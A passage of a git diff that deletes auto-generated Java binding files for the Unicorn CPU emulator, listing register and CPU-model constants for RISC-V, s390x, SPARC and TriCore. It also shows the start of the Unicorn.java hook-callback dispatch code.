public static final int UC_RISCV_REG_F0 = 158; - public static final int UC_RISCV_REG_F1 = 159; - public static final int UC_RISCV_REG_F2 = 160; - public static final int UC_RISCV_REG_F3 = 161; - public static final int UC_RISCV_REG_F4 = 162; - public static final int UC_RISCV_REG_F5 = 163; - public static final int UC_RISCV_REG_F6 = 164; - public static final int UC_RISCV_REG_F7 = 165; - public static final int UC_RISCV_REG_F8 = 166; - public static final int UC_RISCV_REG_F9 = 167; - public static final int UC_RISCV_REG_F10 = 168; - public static final int UC_RISCV_REG_F11 = 169; - public static final int UC_RISCV_REG_F12 = 170; - public static final int UC_RISCV_REG_F13 = 171; - public static final int UC_RISCV_REG_F14 = 172; - public static final int UC_RISCV_REG_F15 = 173; - public static final int UC_RISCV_REG_F16 = 174; - public static final int UC_RISCV_REG_F17 = 175; - public static final int UC_RISCV_REG_F18 = 176; - public static final int UC_RISCV_REG_F19 = 177; - public static final int UC_RISCV_REG_F20 = 178; - public static final int UC_RISCV_REG_F21 = 179; - public static final int UC_RISCV_REG_F22 = 180; - public static final int UC_RISCV_REG_F23 = 181; - public static final int UC_RISCV_REG_F24 = 182; - public static final int UC_RISCV_REG_F25 = 183; - public static final int UC_RISCV_REG_F26 = 184; - public static final int UC_RISCV_REG_F27 = 185; - public static final int UC_RISCV_REG_F28 = 186; - public static final int UC_RISCV_REG_F29 = 187; - public static final int UC_RISCV_REG_F30 = 188; - public static final int UC_RISCV_REG_F31 = 189; - public static final int UC_RISCV_REG_PC = 190; - public static final int UC_RISCV_REG_ENDING = 191; - -// Alias registers - public static final int UC_RISCV_REG_ZERO = 1; - public static final int UC_RISCV_REG_RA = 2; - public static final int UC_RISCV_REG_SP = 3; - public static final int UC_RISCV_REG_GP = 4; - public static final int UC_RISCV_REG_TP = 5; - public static final int UC_RISCV_REG_T0 = 6; - public static final int UC_RISCV_REG_T1 = 7; - public static final int UC_RISCV_REG_T2 = 8; - public static final int UC_RISCV_REG_S0 = 9; - public static final int UC_RISCV_REG_FP = 9; - public static final int UC_RISCV_REG_S1 = 10; - public static final int UC_RISCV_REG_A0 = 11; - public static final int UC_RISCV_REG_A1 = 12; - public static final int UC_RISCV_REG_A2 = 13; - public static final int UC_RISCV_REG_A3 = 14; - public static final int UC_RISCV_REG_A4 = 15; - public static final int UC_RISCV_REG_A5 = 16; - public static final int UC_RISCV_REG_A6 = 17; - public static final int UC_RISCV_REG_A7 = 18; - public static final int UC_RISCV_REG_S2 = 19; - public static final int UC_RISCV_REG_S3 = 20; - public static final int UC_RISCV_REG_S4 = 21; - public static final int UC_RISCV_REG_S5 = 22; - public static final int UC_RISCV_REG_S6 = 23; - public static final int UC_RISCV_REG_S7 = 24; - public static final int UC_RISCV_REG_S8 = 25; - public static final int UC_RISCV_REG_S9 = 26; - public static final int UC_RISCV_REG_S10 = 27; - public static final int UC_RISCV_REG_S11 = 28; - public static final int UC_RISCV_REG_T3 = 29; - public static final int UC_RISCV_REG_T4 = 30; - public static final int UC_RISCV_REG_T5 = 31; - public static final int UC_RISCV_REG_T6 = 32; - public static final int UC_RISCV_REG_FT0 = 158; - public static final int UC_RISCV_REG_FT1 = 159; - public static final int UC_RISCV_REG_FT2 = 160; - public static final int UC_RISCV_REG_FT3 = 161; - public static final int UC_RISCV_REG_FT4 = 162; - public static final int UC_RISCV_REG_FT5 = 163; - public static final int UC_RISCV_REG_FT6 = 164; - public static final int UC_RISCV_REG_FT7 = 165; - public static final int UC_RISCV_REG_FS0 = 166; - public static final int UC_RISCV_REG_FS1 = 167; - public static final int UC_RISCV_REG_FA0 = 168; - public static final int UC_RISCV_REG_FA1 = 169; - public static final int UC_RISCV_REG_FA2 = 170; - public static final int UC_RISCV_REG_FA3 = 171; - public static final int UC_RISCV_REG_FA4 = 172; - public static final int UC_RISCV_REG_FA5 = 173; - public static final int UC_RISCV_REG_FA6 = 174; - public static final int UC_RISCV_REG_FA7 = 175; - public static final int UC_RISCV_REG_FS2 = 176; - public static final int UC_RISCV_REG_FS3 = 177; - public static final int UC_RISCV_REG_FS4 = 178; - public static final int UC_RISCV_REG_FS5 = 179; - public static final int UC_RISCV_REG_FS6 = 180; - public static final int UC_RISCV_REG_FS7 = 181; - public static final int UC_RISCV_REG_FS8 = 182; - public static final int UC_RISCV_REG_FS9 = 183; - public static final int UC_RISCV_REG_FS10 = 184; - public static final int UC_RISCV_REG_FS11 = 185; - public static final int UC_RISCV_REG_FT8 = 186; - public static final int UC_RISCV_REG_FT9 = 187; - public static final int UC_RISCV_REG_FT10 = 188; - public static final int UC_RISCV_REG_FT11 = 189; - -} diff --git a/bindings/java/unicorn/S390xConst.java b/bindings/java/unicorn/S390xConst.java deleted file mode 100644 index 57b4c588c4..0000000000 --- a/bindings/java/unicorn/S390xConst.java +++ /dev/null @@ -1,128 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface S390xConst { - -// S390X CPU - - public static final int UC_CPU_S390X_Z900 = 0; - public static final int UC_CPU_S390X_Z900_2 = 1; - public static final int UC_CPU_S390X_Z900_3 = 2; - public static final int UC_CPU_S390X_Z800 = 3; - public static final int UC_CPU_S390X_Z990 = 4; - public static final int UC_CPU_S390X_Z990_2 = 5; - public static final int UC_CPU_S390X_Z990_3 = 6; - public static final int UC_CPU_S390X_Z890 = 7; - public static final int UC_CPU_S390X_Z990_4 = 8; - public static final int UC_CPU_S390X_Z890_2 = 9; - public static final int UC_CPU_S390X_Z990_5 = 10; - public static final int UC_CPU_S390X_Z890_3 = 11; - public static final int UC_CPU_S390X_Z9EC = 12; - public static final int UC_CPU_S390X_Z9EC_2 = 13; - public static final int UC_CPU_S390X_Z9BC = 14; - public static final int UC_CPU_S390X_Z9EC_3 = 15; - public static final int UC_CPU_S390X_Z9BC_2 = 16; - public static final int UC_CPU_S390X_Z10EC = 17; - public static final int UC_CPU_S390X_Z10EC_2 = 18; - public static final int UC_CPU_S390X_Z10BC = 19; - public static final int UC_CPU_S390X_Z10EC_3 = 20; - public static final int UC_CPU_S390X_Z10BC_2 = 21; - public static final int UC_CPU_S390X_Z196 = 22; - public static final int UC_CPU_S390X_Z196_2 = 23; - public static final int UC_CPU_S390X_Z114 = 24; - public static final int UC_CPU_S390X_ZEC12 = 25; - public static final int UC_CPU_S390X_ZEC12_2 = 26; - public static final int UC_CPU_S390X_ZBC12 = 27; - public static final int UC_CPU_S390X_Z13 = 28; - public static final int UC_CPU_S390X_Z13_2 = 29; - public static final int UC_CPU_S390X_Z13S = 30; - public static final int UC_CPU_S390X_Z14 = 31; - public static final int UC_CPU_S390X_Z14_2 = 32; - public static final int UC_CPU_S390X_Z14ZR1 = 33; - public static final int UC_CPU_S390X_GEN15A = 34; - public static final int UC_CPU_S390X_GEN15B = 35; - public static final int UC_CPU_S390X_QEMU = 36; - public static final int UC_CPU_S390X_MAX = 37; - public static final int UC_CPU_S390X_ENDING = 38; - -// S390X registers - - public static final int UC_S390X_REG_INVALID = 0; - -// General purpose registers - public static final int UC_S390X_REG_R0 = 1; - public static final int UC_S390X_REG_R1 = 2; - public static final int UC_S390X_REG_R2 = 3; - public static final int UC_S390X_REG_R3 = 4; - public static final int UC_S390X_REG_R4 = 5; - public static final int UC_S390X_REG_R5 = 6; - public static final int UC_S390X_REG_R6 = 7; - public static final int UC_S390X_REG_R7 = 8; - public static final int UC_S390X_REG_R8 = 9; - public static final int UC_S390X_REG_R9 = 10; - public static final int UC_S390X_REG_R10 = 11; - public static final int UC_S390X_REG_R11 = 12; - public static final int UC_S390X_REG_R12 = 13; - public static final int UC_S390X_REG_R13 = 14; - public static final int UC_S390X_REG_R14 = 15; - public static final int UC_S390X_REG_R15 = 16; - -// Floating point registers - public static final int UC_S390X_REG_F0 = 17; - public static final int UC_S390X_REG_F1 = 18; - public static final int UC_S390X_REG_F2 = 19; - public static final int UC_S390X_REG_F3 = 20; - public static final int UC_S390X_REG_F4 = 21; - public static final int UC_S390X_REG_F5 = 22; - public static final int UC_S390X_REG_F6 = 23; - public static final int UC_S390X_REG_F7 = 24; - public static final int UC_S390X_REG_F8 = 25; - public static final int UC_S390X_REG_F9 = 26; - public static final int UC_S390X_REG_F10 = 27; - public static final int UC_S390X_REG_F11 = 28; - public static final int UC_S390X_REG_F12 = 29; - public static final int UC_S390X_REG_F13 = 30; - public static final int UC_S390X_REG_F14 = 31; - public static final int UC_S390X_REG_F15 = 32; - public static final int UC_S390X_REG_F16 = 33; - public static final int UC_S390X_REG_F17 = 34; - public static final int UC_S390X_REG_F18 = 35; - public static final int UC_S390X_REG_F19 = 36; - public static final int UC_S390X_REG_F20 = 37; - public static final int UC_S390X_REG_F21 = 38; - public static final int UC_S390X_REG_F22 = 39; - public static final int UC_S390X_REG_F23 = 40; - public static final int UC_S390X_REG_F24 = 41; - public static final int UC_S390X_REG_F25 = 42; - public static final int UC_S390X_REG_F26 = 43; - public static final int UC_S390X_REG_F27 = 44; - public static final int UC_S390X_REG_F28 = 45; - public static final int UC_S390X_REG_F29 = 46; - public static final int UC_S390X_REG_F30 = 47; - public static final int UC_S390X_REG_F31 = 48; - -// Access registers - public static final int UC_S390X_REG_A0 = 49; - public static final int UC_S390X_REG_A1 = 50; - public static final int UC_S390X_REG_A2 = 51; - public static final int UC_S390X_REG_A3 = 52; - public static final int UC_S390X_REG_A4 = 53; - public static final int UC_S390X_REG_A5 = 54; - public static final int UC_S390X_REG_A6 = 55; - public static final int UC_S390X_REG_A7 = 56; - public static final int UC_S390X_REG_A8 = 57; - public static final int UC_S390X_REG_A9 = 58; - public static final int UC_S390X_REG_A10 = 59; - public static final int UC_S390X_REG_A11 = 60; - public static final int UC_S390X_REG_A12 = 61; - public static final int UC_S390X_REG_A13 = 62; - public static final int UC_S390X_REG_A14 = 63; - public static final int UC_S390X_REG_A15 = 64; - public static final int UC_S390X_REG_PC = 65; - public static final int UC_S390X_REG_PSWM = 66; - public static final int UC_S390X_REG_ENDING = 67; - -// Alias registers - -} diff --git a/bindings/java/unicorn/SparcConst.java b/bindings/java/unicorn/SparcConst.java deleted file mode 100644 index e2a71eb443..0000000000 --- a/bindings/java/unicorn/SparcConst.java +++ /dev/null @@ -1,140 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface SparcConst { - -// SPARC32 CPU - - public static final int UC_CPU_SPARC32_FUJITSU_MB86904 = 0; - public static final int UC_CPU_SPARC32_FUJITSU_MB86907 = 1; - public static final int UC_CPU_SPARC32_TI_MICROSPARC_I = 2; - public static final int UC_CPU_SPARC32_TI_MICROSPARC_II = 3; - public static final int UC_CPU_SPARC32_TI_MICROSPARC_IIEP = 4; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_40 = 5; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_50 = 6; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_51 = 7; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_60 = 8; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_61 = 9; - public static final int UC_CPU_SPARC32_TI_SUPERSPARC_II = 10; - public static final int UC_CPU_SPARC32_LEON2 = 11; - public static final int UC_CPU_SPARC32_LEON3 = 12; - public static final int UC_CPU_SPARC32_ENDING = 13; - -// SPARC64 CPU - - public static final int UC_CPU_SPARC64_FUJITSU = 0; - public static final int UC_CPU_SPARC64_FUJITSU_III = 1; - public static final int UC_CPU_SPARC64_FUJITSU_IV = 2; - public static final int UC_CPU_SPARC64_FUJITSU_V = 3; - public static final int UC_CPU_SPARC64_TI_ULTRASPARC_I = 4; - public static final int UC_CPU_SPARC64_TI_ULTRASPARC_II = 5; - public static final int UC_CPU_SPARC64_TI_ULTRASPARC_III = 6; - public static final int UC_CPU_SPARC64_TI_ULTRASPARC_IIE = 7; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III = 8; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_III_CU = 9; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII = 10; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV = 11; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IV_PLUS = 12; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_IIII_PLUS = 13; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T1 = 14; - public static final int UC_CPU_SPARC64_SUN_ULTRASPARC_T2 = 15; - public static final int UC_CPU_SPARC64_NEC_ULTRASPARC_I = 16; - public static final int UC_CPU_SPARC64_ENDING = 17; - -// SPARC registers - - public static final int UC_SPARC_REG_INVALID = 0; - public static final int UC_SPARC_REG_F0 = 1; - public static final int UC_SPARC_REG_F1 = 2; - public static final int UC_SPARC_REG_F2 = 3; - public static final int UC_SPARC_REG_F3 = 4; - public static final int UC_SPARC_REG_F4 = 5; - public static final int UC_SPARC_REG_F5 = 6; - public static final int UC_SPARC_REG_F6 = 7; - public static final int UC_SPARC_REG_F7 = 8; - public static final int UC_SPARC_REG_F8 = 9; - public static final int UC_SPARC_REG_F9 = 10; - public static final int UC_SPARC_REG_F10 = 11; - public static final int UC_SPARC_REG_F11 = 12; - public static final int UC_SPARC_REG_F12 = 13; - public static final int UC_SPARC_REG_F13 = 14; - public static final int UC_SPARC_REG_F14 = 15; - public static final int UC_SPARC_REG_F15 = 16; - public static final int UC_SPARC_REG_F16 = 17; - public static final int UC_SPARC_REG_F17 = 18; - public static final int UC_SPARC_REG_F18 = 19; - public static final int UC_SPARC_REG_F19 = 20; - public static final int UC_SPARC_REG_F20 = 21; - public static final int UC_SPARC_REG_F21 = 22; - public static final int UC_SPARC_REG_F22 = 23; - public static final int UC_SPARC_REG_F23 = 24; - public static final int UC_SPARC_REG_F24 = 25; - public static final int UC_SPARC_REG_F25 = 26; - public static final int UC_SPARC_REG_F26 = 27; - public static final int UC_SPARC_REG_F27 = 28; - public static final int UC_SPARC_REG_F28 = 29; - public static final int UC_SPARC_REG_F29 = 30; - public static final int UC_SPARC_REG_F30 = 31; - public static final int UC_SPARC_REG_F31 = 32; - public static final int UC_SPARC_REG_F32 = 33; - public static final int UC_SPARC_REG_F34 = 34; - public static final int UC_SPARC_REG_F36 = 35; - public static final int UC_SPARC_REG_F38 = 36; - public static final int UC_SPARC_REG_F40 = 37; - public static final int UC_SPARC_REG_F42 = 38; - public static final int UC_SPARC_REG_F44 = 39; - public static final int UC_SPARC_REG_F46 = 40; - public static final int UC_SPARC_REG_F48 = 41; - public static final int UC_SPARC_REG_F50 = 42; - public static final int UC_SPARC_REG_F52 = 43; - public static final int UC_SPARC_REG_F54 = 44; - public static final int UC_SPARC_REG_F56 = 45; - public static final int UC_SPARC_REG_F58 = 46; - public static final int UC_SPARC_REG_F60 = 47; - public static final int UC_SPARC_REG_F62 = 48; - public static final int UC_SPARC_REG_FCC0 = 49; - public static final int UC_SPARC_REG_FCC1 = 50; - public static final int UC_SPARC_REG_FCC2 = 51; - public static final int UC_SPARC_REG_FCC3 = 52; - public static final int UC_SPARC_REG_G0 = 53; - public static final int UC_SPARC_REG_G1 = 54; - public static final int UC_SPARC_REG_G2 = 55; - public static final int UC_SPARC_REG_G3 = 56; - public static final int UC_SPARC_REG_G4 = 57; - public static final int UC_SPARC_REG_G5 = 58; - public static final int UC_SPARC_REG_G6 = 59; - public static final int UC_SPARC_REG_G7 = 60; - public static final int UC_SPARC_REG_I0 = 61; - public static final int UC_SPARC_REG_I1 = 62; - public static final int UC_SPARC_REG_I2 = 63; - public static final int UC_SPARC_REG_I3 = 64; - public static final int UC_SPARC_REG_I4 = 65; - public static final int UC_SPARC_REG_I5 = 66; - public static final int UC_SPARC_REG_FP = 67; - public static final int UC_SPARC_REG_I7 = 68; - public static final int UC_SPARC_REG_ICC = 69; - public static final int UC_SPARC_REG_L0 = 70; - public static final int UC_SPARC_REG_L1 = 71; - public static final int UC_SPARC_REG_L2 = 72; - public static final int UC_SPARC_REG_L3 = 73; - public static final int UC_SPARC_REG_L4 = 74; - public static final int UC_SPARC_REG_L5 = 75; - public static final int UC_SPARC_REG_L6 = 76; - public static final int UC_SPARC_REG_L7 = 77; - public static final int UC_SPARC_REG_O0 = 78; - public static final int UC_SPARC_REG_O1 = 79; - public static final int UC_SPARC_REG_O2 = 80; - public static final int UC_SPARC_REG_O3 = 81; - public static final int UC_SPARC_REG_O4 = 82; - public static final int UC_SPARC_REG_O5 = 83; - public static final int UC_SPARC_REG_SP = 84; - public static final int UC_SPARC_REG_O7 = 85; - public static final int UC_SPARC_REG_Y = 86; - public static final int UC_SPARC_REG_XCC = 87; - public static final int UC_SPARC_REG_PC = 88; - public static final int UC_SPARC_REG_ENDING = 89; - public static final int UC_SPARC_REG_O6 = 84; - public static final int UC_SPARC_REG_I6 = 67; - -} diff --git a/bindings/java/unicorn/TriCoreConst.java b/bindings/java/unicorn/TriCoreConst.java deleted file mode 100644 index 4154abad87..0000000000 --- a/bindings/java/unicorn/TriCoreConst.java +++ /dev/null @@ -1,130 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface TriCoreConst { - -// TRICORE CPU - - public static final int UC_CPU_TRICORE_TC1796 = 0; - public static final int UC_CPU_TRICORE_TC1797 = 1; - public static final int UC_CPU_TRICORE_TC27X = 2; - public static final int UC_CPU_TRICORE_ENDING = 3; - -// TRICORE registers - - public static final int UC_TRICORE_REG_INVALID = 0; - public static final int UC_TRICORE_REG_A0 = 1; - public static final int UC_TRICORE_REG_A1 = 2; - public static final int UC_TRICORE_REG_A2 = 3; - public static final int UC_TRICORE_REG_A3 = 4; - public static final int UC_TRICORE_REG_A4 = 5; - public static final int UC_TRICORE_REG_A5 = 6; - public static final int UC_TRICORE_REG_A6 = 7; - public static final int UC_TRICORE_REG_A7 = 8; - public static final int UC_TRICORE_REG_A8 = 9; - public static final int UC_TRICORE_REG_A9 = 10; - public static final int UC_TRICORE_REG_A10 = 11; - public static final int UC_TRICORE_REG_A11 = 12; - public static final int UC_TRICORE_REG_A12 = 13; - public static final int UC_TRICORE_REG_A13 = 14; - public static final int UC_TRICORE_REG_A14 = 15; - public static final int UC_TRICORE_REG_A15 = 16; - public static final int UC_TRICORE_REG_D0 = 17; - public static final int UC_TRICORE_REG_D1 = 18; - public static final int UC_TRICORE_REG_D2 = 19; - public static final int UC_TRICORE_REG_D3 = 20; - public static final int UC_TRICORE_REG_D4 = 21; - public static final int UC_TRICORE_REG_D5 = 22; - public static final int UC_TRICORE_REG_D6 = 23; - public static final int UC_TRICORE_REG_D7 = 24; - public static final int UC_TRICORE_REG_D8 = 25; - public static final int UC_TRICORE_REG_D9 = 26; - public static final int UC_TRICORE_REG_D10 = 27; - public static final int UC_TRICORE_REG_D11 = 28; - public static final int UC_TRICORE_REG_D12 = 29; - public static final int UC_TRICORE_REG_D13 = 30; - public static final int UC_TRICORE_REG_D14 = 31; - public static final int UC_TRICORE_REG_D15 = 32; - public static final int UC_TRICORE_REG_PCXI = 33; - public static final int UC_TRICORE_REG_PSW = 34; - public static final int UC_TRICORE_REG_PSW_USB_C = 35; - public static final int UC_TRICORE_REG_PSW_USB_V = 36; - public static final int UC_TRICORE_REG_PSW_USB_SV = 37; - public static final int UC_TRICORE_REG_PSW_USB_AV = 38; - public static final int UC_TRICORE_REG_PSW_USB_SAV = 39; - public static final int UC_TRICORE_REG_PC = 40; - public static final int UC_TRICORE_REG_SYSCON = 41; - public static final int UC_TRICORE_REG_CPU_ID = 42; - public static final int UC_TRICORE_REG_BIV = 43; - public static final int UC_TRICORE_REG_BTV = 44; - public static final int UC_TRICORE_REG_ISP = 45; - public static final int UC_TRICORE_REG_ICR = 46; - public static final int UC_TRICORE_REG_FCX = 47; - public static final int UC_TRICORE_REG_LCX = 48; - public static final int UC_TRICORE_REG_COMPAT = 49; - public static final int UC_TRICORE_REG_DPR0_U = 50; - public static final int UC_TRICORE_REG_DPR1_U = 51; - public static final int UC_TRICORE_REG_DPR2_U = 52; - public static final int UC_TRICORE_REG_DPR3_U = 53; - public static final int UC_TRICORE_REG_DPR0_L = 54; - public static final int UC_TRICORE_REG_DPR1_L = 55; - public static final int UC_TRICORE_REG_DPR2_L = 56; - public static final int UC_TRICORE_REG_DPR3_L = 57; - public static final int UC_TRICORE_REG_CPR0_U = 58; - public static final int UC_TRICORE_REG_CPR1_U = 59; - public static final int UC_TRICORE_REG_CPR2_U = 60; - public static final int UC_TRICORE_REG_CPR3_U = 61; - public static final int UC_TRICORE_REG_CPR0_L = 62; - public static final int UC_TRICORE_REG_CPR1_L = 63; - public static final int UC_TRICORE_REG_CPR2_L = 64; - public static final int UC_TRICORE_REG_CPR3_L = 65; - public static final int UC_TRICORE_REG_DPM0 = 66; - public static final int UC_TRICORE_REG_DPM1 = 67; - public static final int UC_TRICORE_REG_DPM2 = 68; - public static final int UC_TRICORE_REG_DPM3 = 69; - public static final int UC_TRICORE_REG_CPM0 = 70; - public static final int UC_TRICORE_REG_CPM1 = 71; - public static final int UC_TRICORE_REG_CPM2 = 72; - public static final int UC_TRICORE_REG_CPM3 = 73; - public static final int UC_TRICORE_REG_MMU_CON = 74; - public static final int UC_TRICORE_REG_MMU_ASI = 75; - public static final int UC_TRICORE_REG_MMU_TVA = 76; - public static final int UC_TRICORE_REG_MMU_TPA = 77; - public static final int UC_TRICORE_REG_MMU_TPX = 78; - public static final int UC_TRICORE_REG_MMU_TFA = 79; - public static final int UC_TRICORE_REG_BMACON = 80; - public static final int UC_TRICORE_REG_SMACON = 81; - public static final int UC_TRICORE_REG_DIEAR = 82; - public static final int UC_TRICORE_REG_DIETR = 83; - public static final int UC_TRICORE_REG_CCDIER = 84; - public static final int UC_TRICORE_REG_MIECON = 85; - public static final int UC_TRICORE_REG_PIEAR = 86; - public static final int UC_TRICORE_REG_PIETR = 87; - public static final int UC_TRICORE_REG_CCPIER = 88; - public static final int UC_TRICORE_REG_DBGSR = 89; - public static final int UC_TRICORE_REG_EXEVT = 90; - public static final int UC_TRICORE_REG_CREVT = 91; - public static final int UC_TRICORE_REG_SWEVT = 92; - public static final int UC_TRICORE_REG_TR0EVT = 93; - public static final int UC_TRICORE_REG_TR1EVT = 94; - public static final int UC_TRICORE_REG_DMS = 95; - public static final int UC_TRICORE_REG_DCX = 96; - public static final int UC_TRICORE_REG_DBGTCR = 97; - public static final int UC_TRICORE_REG_CCTRL = 98; - public static final int UC_TRICORE_REG_CCNT = 99; - public static final int UC_TRICORE_REG_ICNT = 100; - public static final int UC_TRICORE_REG_M1CNT = 101; - public static final int UC_TRICORE_REG_M2CNT = 102; - public static final int UC_TRICORE_REG_M3CNT = 103; - public static final int UC_TRICORE_REG_ENDING = 104; - public static final int UC_TRICORE_REG_GA0 = 1; - public static final int UC_TRICORE_REG_GA1 = 2; - public static final int UC_TRICORE_REG_GA8 = 9; - public static final int UC_TRICORE_REG_GA9 = 10; - public static final int UC_TRICORE_REG_SP = 11; - public static final int UC_TRICORE_REG_LR = 12; - public static final int UC_TRICORE_REG_IA = 16; - public static final int UC_TRICORE_REG_ID = 32; - -} diff --git a/bindings/java/unicorn/Unicorn.java b/bindings/java/unicorn/Unicorn.java deleted file mode 100644 index 7e8aee051c..0000000000 --- a/bindings/java/unicorn/Unicorn.java +++ /dev/null @@ -1,831 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -package unicorn; - -import java.util.*; - -public class Unicorn implements UnicornConst, ArmConst, Arm64Const, M68kConst, SparcConst, MipsConst, X86Const { - - public long eng; - private int arch; - private int mode; - - private long blockHandle = 0; - private long interruptHandle = 0; - private long codeHandle = 0; - - private Hashtable eventMemHandles = new Hashtable(); - private long readInvalidHandle = 0; - private long writeInvalidHandle = 0; - private long fetchProtHandle = 0; - private long readProtHandle = 0; - private long writeProtHandle = 0; - - private long readHandle = 0; - private long writeHandle = 0; - private long inHandle = 0; - private long outHandle = 0; - private long syscallHandle = 0; - - private class Tuple { - public Hook function; - public Object data; - public Tuple(Hook f, Object d) { - function = f; - data = d; - } - } - - private ArrayList blockList = new ArrayList(); - private ArrayList intrList = new ArrayList(); - private ArrayList codeList = new ArrayList(); - private ArrayList readList = new ArrayList(); - private ArrayList writeList = new ArrayList(); - private ArrayList inList = new ArrayList(); - private ArrayList outList = new ArrayList(); - private ArrayList syscallList = new ArrayList(); - - private Hashtable > eventMemLists = new Hashtable >(); - - private ArrayList> allLists = new ArrayList>(); - - private static Hashtable eventMemMap = new Hashtable(); - private static Hashtable unicorns = new Hashtable(); - - //required to load native method implementations - static { - System.loadLibrary("unicorn_java"); //loads unicorn.dll or libunicorn.so - eventMemMap.put(UC_HOOK_MEM_READ_UNMAPPED, UC_MEM_READ_UNMAPPED); - eventMemMap.put(UC_HOOK_MEM_WRITE_UNMAPPED, UC_MEM_WRITE_UNMAPPED); - eventMemMap.put(UC_HOOK_MEM_FETCH_UNMAPPED, UC_MEM_FETCH_UNMAPPED); - eventMemMap.put(UC_HOOK_MEM_READ_PROT, UC_MEM_READ_PROT); - eventMemMap.put(UC_HOOK_MEM_WRITE_PROT, UC_MEM_WRITE_PROT); - eventMemMap.put(UC_HOOK_MEM_FETCH_PROT, UC_MEM_FETCH_PROT); - eventMemMap.put(UC_HOOK_MEM_READ, UC_MEM_READ); - eventMemMap.put(UC_HOOK_MEM_WRITE, UC_MEM_WRITE); - eventMemMap.put(UC_HOOK_MEM_FETCH, UC_MEM_FETCH); - eventMemMap.put(UC_HOOK_MEM_READ_AFTER, UC_MEM_READ_AFTER); - } - -/** - * Invoke all UC_HOOK_BLOCK callbacks registered for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_BLOCK - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param address The address of the instruction being executed - * @param size The size of the basic block being executed - * @see hook_add, unicorn.BlockHook - */ - private static void invokeBlockCallbacks(long eng, long address, int size) { - Unicorn u = unicorns.get(eng); - if (u != null) { - for (Tuple p : u.blockList) { - BlockHook bh = (BlockHook)p.function; - bh.hook(u, address, size, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_INTR callbacks registered for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_INTR - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param intno The interrupt number - * @see hook_add, unicorn.InterruptHook - */ - private static void invokeInterruptCallbacks(long eng, int intno) { - Unicorn u = unicorns.get(eng); - if (u != null) { - for (Tuple p : u.intrList) { - InterruptHook ih = (InterruptHook)p.function; - ih.hook(u, intno, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_CODE callbacks registered for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_CODE - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param address The address of the instruction being executed - * @param size The size of the instruction being executed - * @see hook_add, unicorn.CodeHook - */ - private static void invokeCodeCallbacks(long eng, long address, int size) { - Unicorn u = unicorns.get(eng); - if (u != null) { - for (Tuple p : u.codeList) { - CodeHook ch = (CodeHook)p.function; - ch.hook(u, address, size, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_MEM_XXX_UNMAPPED and/or UC_HOOK_MEM_XXX_PROT callbacks registered - * for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_MEM_XXX_UNMAPPED or UC_HOOK_MEM_XXX_PROT - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param type The type of event that is taking place - * @param address Address of instruction being executed - * @param size Size of data being read or written - * @param value Value of data being written to memory, or irrelevant if type = READ. - * @return true to continue, or false to stop program (due to invalid memory). - * @see hook_add, unicorn.EventMemHook - */ - private static boolean invokeEventMemCallbacks(long eng, int type, long address, int size, long value) { - Unicorn u = unicorns.get(eng); - boolean result = true; - if (u != null) { - ArrayList funcList = u.eventMemLists.get(type); - if (funcList != null) { - for (Tuple p : funcList) { - EventMemHook emh = (EventMemHook)p.function; - result &= emh.hook(u, address, size, value, p.data); - } - } - } - return result; - } - -/** - * Invoke all UC_HOOK_MEM_READ callbacks registered for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_MEM_READ - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param address Address of instruction being executed - * @param size Size of data being read - * @see hook_add, unicorn.ReadHook - */ - private static void invokeReadCallbacks(long eng, long address, int size) { - Unicorn u = unicorns.get(eng); - if (u != null) { - for (Tuple p : u.readList) { - ReadHook rh = (ReadHook)p.function; - rh.hook(u, address, size, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_MEM_WRITE callbacks registered for a specific Unicorn. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_MEM_WRITE - * - * @param eng A Unicorn uc_engine* eng returned by uc_open - * @param address Address of instruction being executed - * @param size Size of data being read - * @param value value being written - * @see hook_add, unicorn.WriteHook - */ - private static void invokeWriteCallbacks(long eng, long address, int size, long value) { - Unicorn u = unicorns.get(eng); - if (u != null) { - for (Tuple p : u.writeList) { - WriteHook wh = (WriteHook)p.function; - wh.hook(u, address, size, value, p.data); - } - } - } - -/** - * Invoke all UC_HOOK_INSN callbacks registered for a specific Unicorn. - * This is specifically for the x86 IN instruction. - * This function gets invoked from the native C callback registered for - * for UC_HOOK_INSN - * - * @param eng A 